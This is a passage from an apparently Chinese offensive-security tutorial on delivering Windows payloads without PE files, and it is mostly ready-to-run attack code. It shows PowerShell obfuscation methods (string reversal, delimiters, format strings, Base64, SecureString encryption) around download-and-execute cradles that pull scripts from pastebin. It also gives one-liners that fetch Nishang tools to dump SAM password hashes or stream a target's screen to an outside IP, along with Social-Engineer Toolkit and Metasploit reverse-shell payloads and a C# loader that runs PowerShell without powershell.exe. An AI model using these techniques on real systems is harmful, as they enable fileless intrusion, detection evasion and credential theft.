# $reverseCmd = "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')";
# ($reverseCmd[-1..-($reverseCmd.Length)] -Join '')
$reverseCmd = ")'tLBTsPBE/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX;

2. 转化为数组,通过数组的方法进行reverse反转

# $reverseCmd = "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')";
# ($reverseCmd[-1..-($reverseCmd.Length)] -Join '')
$reverseCmd = ")'tLBTsPBE/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
$reverseCmdCharArray = $reverseCmd.ToCharArray(); 
[Array]::Reverse($reverseCmdCharArray); 
IEX ($reverseCmdCharArray-Join '') | IEX;

3. 利用 .NET 的正则进行 RightToLeft 重排序

# $reverseCmd = "(New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/EBPsTBLt')";
# ($reverseCmd[-1..-($reverseCmd.Length)] -Join '')
$reverseCmd = ")'tLBTsPBE/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX;

4. 在字符串中插入分界符

# 通过split-join重新过滤编排

$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pasteb~~in.com/raw/EBPsTBLt')";
IEX ($cmdWithDelim.Split("~~") -Join '') | IEX;

# 通过replace-join重新过滤编排

$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pasteb~~in.com/raw/EBPsTBLt')";
IEX ($cmdWithDelim.Replace("~~", "") -Join '') | IEX;

5. 通过 -f format 填充符

IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}pastebin.com/raw/EBPsTBLt")' -f 'Ne', 'Download','https://') | IEX;

6. Base64编码

# PowerShell's -EncodedCommand

# 下列的写法都可以正常执行,PowerShell auto-appends * to flags
powershell.exe -ec VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 
powershell.exe -EncodedCommand VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 
powershell.exe -EncodedCom VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 
powershell.exe -Enco VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA 

# .Net'sBase64 methods

iex ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA ")))

# .Net'sBase64 IO.MemoryStream

IEX(New-Object IO.StreamReader((New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String("VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA"),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()

6. 其他编码方式

Different ways of encoding…ASCII/hex/octal/binary/BXOR/etc.

[Convert]::ToString(1234, 2)
[Convert]::ToString(1234, 8)
[Convert]::ToString(1234, 16)
"{0:X4}" -f 1234
[Byte][Char]([Convert]::ToInt16($_,16))
($cmd.ToCharArray() | % {[int]$_}) -Join $delim
$bytes[$i] = $bytes[$i] -BXOR 0x6A

7. 通过powershell SecureString实现payload编码

powershell SecureString可以理解为powershell提供的一个"预分配密钥的对称加密编码机制"

$cmd= "IEX (IWR 'https://pastebin.com/raw/EBPsTBLt').Content";
$secCmd = ConvertTo-SecureString $cmd -AsPlainText -Force;
$secCmdPlaintext = $secCmd| ConvertFrom-SecureString -Key (1..16);
$secCmdPlaintext;

Windows下非PE方式载荷投递方式研究

SecureString!如果不指定key,则会动态地使用user+computername作为key,但是我们可以显式地指定一个固定的key,这样黑客可以在本机构造一个payload,然后在受害者机器上反向解密出来,相当于一个对称加解密过程

# $secCmdPlaintext是黑客要投递到目标机器的paylaod
$secCmdPlaintext = "76492d1116743f0423413b16050a5345MgB8AHoATABUAHQAMgBYAGYARgB4AEsAbABxAEUAUAB4AGQAOAB6AFcARgBKAEEAPQA9AHwAMwBjADEAZAA3AGIAYgBkAGYAOQBiAGIAMwBmAGMAMgAwADYAYgBiAGQAYgAzADgANQAzADgAYgBhAGUAYgA4ADcAOABkADAAOQBmADgAMABmAGUANwA5ADQAZAA1AGEAOAA5ADkAOABlAGEAZQBkADEAOAA1AGQAYQA5AGEANwAwAGIANgBkAGUAZgA3ADkANgBlAGIAYQBhADcAYgA2AGEAMgA2AGMANgBiADMANAAwADMANQA3ADAAYQA1ADcANwA5ADQAZABkAGEAZgA1ADYAOAA0ADEAYwAwADgAYQA0ADgANwA5ADEANQA4ADkAZAAzADQAMABkADYAYwBmADkANgA4ADQANwBjAGEANAA3ADcAOQAxAGUAZAAwAGUANwBmADgAMAAxADEAYQBiADYAYgBiADMANQBiADgAMgBmAGMANQBkADAAMQBhAGUAMgAwAGUAYQA1ADUANgBmADUAZgBlADIAOAA3AGIANgAyADUANQA0ADAAMABjADMAZQBhADIAOQA4ADUAMQA1ADEAOQAyAGEAOQA4ADcANwBlAGYAYQAyADIAZgA1AGUAZQBmAGIAYQA2AGIAYgA5AA=="
$secCmd = $secCmdPlaintext | ConvertTo-SecureString -Key(1..16);
([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX;

0x12:Launch Techniques

Set content in one process and then query it out and execute it from another completely separate process

这里的各种奇技淫巧的核心思想是找到一个“中转存储”,让payload先暂存在那个中转存储中,然后再调用powershell去读取这个中转存储,获取ps code

1. 从标准输入读取ps code

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
# - 可以指示从stdin中读取输入进行解析执行
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
# 也可以通过IEX和默认全局变量来显式解析执行stdin
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

2. 利用bat语言进行编码拼接

# 变量拼接
cmd /c "set p1=power&& set p2=shell&& cmd/c echo Write-Host SUCCESS -Fore Green ^| %p1%%p2% -"
# 截至bat变量实现payload中转
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd/c echo %cmd% | powershell -"
cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd/c echo %cmd% ^| powershell -"
# 借助环境变量
cmd.exe /c "set cmd=Write-Host hacked_by_littlehann -Fore Green&&powershell IEX $env:cmd"
# 借助 C:/windows/sytem32/clip.exe粘贴板实现payload中转
cmd.exe /c "echo Write-Host hacked_by_littlehann -Fore Green | clip&&powershell [void] [System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"

0x13:调用CM组件

powershell调用COM组件又是另一个维度的攻击向量组合了,技术上来说,作为一种编程语言,调用COM接口是非常容易的事情,COM malware自身就是一种恶意入侵向量,可以和其他的exploit和delivery方式进行组合。

$s=New-Object -COM "Component.Backdoor";$s.Exec()

1. 调用IE COM组件实现下载

$url="https://pastebin.com/raw/EBPsTBLt";
$objIE=New-Object -Com InternetExplorer.Application;
While($objIE.Busy){Start-Sleep-Seconds1};
$objIE.Visible=$false;
$objIE.Navigate($url);
While($objIE.Busy){Start-Sleep-Seconds1};
IEX $objIE.Document.Body.InnerText;

这种方式不会产生落盘文件。

$ie = New-Object -Com internetExplorer.Application
$ie.Navigate("https://site.com/somefile")
 
#------------------------------
#Wait for Download Dialog box to pop up
Sleep 5
while($ie.Busy){Sleep 1}
#------------------------------
 
#Hit "S" on the keyboard to hit the "Save" button on the download box
$obj = new-object -com WScript.Shell
$obj.AppActivate('Internet Explorer')
$obj.SendKeys('s')
 
#Hit "Enter" to save the file
$obj.SendKeys('{Enter}')
 
#Closes IE Downloads window
$obj.SendKeys('{TAB}')
$obj.SendKeys('{TAB}')
$obj.SendKeys('{TAB}')
$obj.SendKeys('{Enter}')

Relevant Link:

https://evi1cg.me/archives/Downloader_byIE.html

0x14:典型powershell恶意脚本

1. 屏幕监控

# 客户端(while循环将屏幕快照通过http协议发送到监听端)
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://evi1cg.me/powershell/Show-TargetScreen.ps1'); Show-TargetScreen -Reverse -IPAddress 47.89.253.66 -Port 8888"

# 监听端
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://evi1cg.me/powershell/Show-TargetScreen.ps1'); Show-TargetScreen --Bind -Port 8888"

# 用powercat作端口监听及转发
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
powercat -l -v -p 8888 -r tcp:9000 -rep -t 1000

Show-TargetScreen.ps1

https://pastebin.com/raw/tgCarUTN

2. 抓系统帐号HASH

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes"

Windows下非PE方式载荷投递方式研究

https://pastebin.com/raw/Yq61CJwu

通过读取注册表中"HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\下的SAM文件的HASH,实现系统帐号HASH读取的目的

0x15:PowerShell脚本利用工具

1. Powersploit

2. Nishang

3. Easy-P

4. SET

https://github.com/trustedsec/social-engineer-toolkit

apt-get --force-yes -y install git apache2 python-requests libapache2-mod-php \
  python-pymssql build-essential python-pexpect python-pefile python-crypto python-openssl

git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
cd set
python setup.py install

Windows下非PE方式载荷投递方式研究

1、社会工程学攻击
2、快速追踪测试
3、第三方模块
4、升级软件
5、升级配置
6、帮助
99、退出

选择1,社会工程攻击:

1、鱼叉式网络钓鱼攻击
2、网页攻击
3、传染媒介式(俗称木马)
4、建立payloaad和listener
5、邮件群发攻击(夹杂木马啊payload的玩意发给你)
6、Arduino基础攻击
7、无线接入点攻击
8、二维码攻击(我喜欢)
9、Powershell攻击
10、第三反模块
99、返回上级

选择9,Powershell攻击

Windows下非PE方式载荷投递方式研究

按照提示输入对象必选项即可。我们这里逐一学习它的ps编码技巧

1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell
4) Powershell Dump SAM Database

SET的PowerShell攻击payload在Social-Engineering Attacks->Powershell Attack Vectors选项中

重点研究其生成的ps payload的构造技巧

5. Metasploit

msf中有8种powershell payload,分别为:

payload/cmd/windows/powershell_bind_tcp                                         normal     Windows Interactive Powershell Session, Bind TCP
payload/cmd/windows/powershell_reverse_tcp                                      normal     Windows Interactive Powershell Session, Reverse TCP
payload/cmd/windows/reverse_powershell                                          normal     Windows Command Shell, Reverse TCP (via Powershell)
payload/windows/powershell_bind_tcp                                             normal     Windows Interactive Powershell Session, Bind TCP
payload/windows/powershell_reverse_tcp                                          normal     Windows Interactive Powershell Session, Reverse TCP
payload/windows/x64/powershell_bind_tcp                                         normal     Windows Interactive Powershell Session, Bind TCP
payload/windows/x64/powershell_reverse_tcp                                      normal     Windows Interactive Powershell Session, Reverse TCP

Relevant Link:  

https://www.sans.org/summit-archives/file/summit-archive-1492186586.pdf - 各种特殊编码绕过方式
https://docs.microsoft.com/zh-cn/powershell/scripting/getting-started/getting-started-with-windows-powershell?view=powershell-6
https://blog.netspi.com/15-ways-to-download-a-file/
http://0cx.cc/about_powershell.jspx
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-6
https://docs.microsoft.com/zh-cn/powershell/scripting/core-powershell/console/powershell.exe-command-line-help?view=powershell-6
https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
https://04z.net/2017/11/29/译-15-way-bypass-powershell-exec/
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
http://www.labofapenetrationtester.com/2015/12/stream-targets-desktop-using-mjpeg-and-powershell.html
https://code.google.com/archive/p/nishang/downloads
https://parrotsec-china.org/t/powershell/663
https://github.com/trustedsec/social-engineer-toolkit
http://blog.airbuscybersecurity.com/post/2016/03/FILELESS-MALWARE-–-A-BEHAVIOURAL-ANALYSIS-OF-KOVTER-PERSISTENCE

0x16:无 PowerShell.exe 运行 PowerShell 脚本

1. 引用Automation(System.Management.Automation.dll)

powershell.exe进程只是为System.Management.Automation.dll的实现提供了一个DLL Host。而它的核心,实际上就是System.Management.Automation.dll,这也是PowerShell的真实身份。

此外,还有其他本地Windows进程同样也作为PowerShell的Host,比如powershell_ise.exe。

我们可以使用 C# 中的 System.Management.Automation 的解释器与该对象进行交互并执行 .ps1 脚本。

using System.Collections.ObjectModel; 
using System.Management.Automation; 
using System.Management.Automation.Runspaces; 
using System.IO;
using System;
using System.Text;
namespace PSLess
{
 class PSLess
 {
   static void Main(string[] args)
   {
     if(args.Length ==0)
         Environment.Exit(1);
     string script=LoadScript(args[0]);
     string s=RunScript(script);
     Console.WriteLine(s);
     Console.ReadKey();
   }
 private static string LoadScript(string filename) 
 { 
   string buffer ="";
   try {
    buffer = File.ReadAllText(filename);
    }
   catch (Exception e) 
   { 
     Console.WriteLine(e.Message);
     Environment.Exit(2);
    }
  return buffer;
 }
 private static string RunScript(string script) 
 { 
    # 首先创建一个 “runspace”, 可以将它理解为Powershell运行时的隔离实例
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();
    MyRunspace.Open();
    Pipeline MyPipeline = MyRunspace.CreatePipeline(); 
    # 将脚本添加到新创建的管道中
    MyPipeline.Commands.AddScript(script);
    MyPipeline.Commands.Add("Out-String");
    # 通过 Invok() 方法执行脚本命令
    Collection<PSObject> outputs = MyPipeline.Invoke();
    MyRunspace.Close();
    # 将运行结果添加到我们的 StringBuilder 中,并使用 ToString() 作为字符串返
   StringBuilder sb = new StringBuilder(); 
   foreach (PSObject pobject in outputs) 
   { 
       sb.AppendLine(pobject.ToString()); 
   }
    return sb.ToString(); 
  }
 }
}
View Code

相关文章: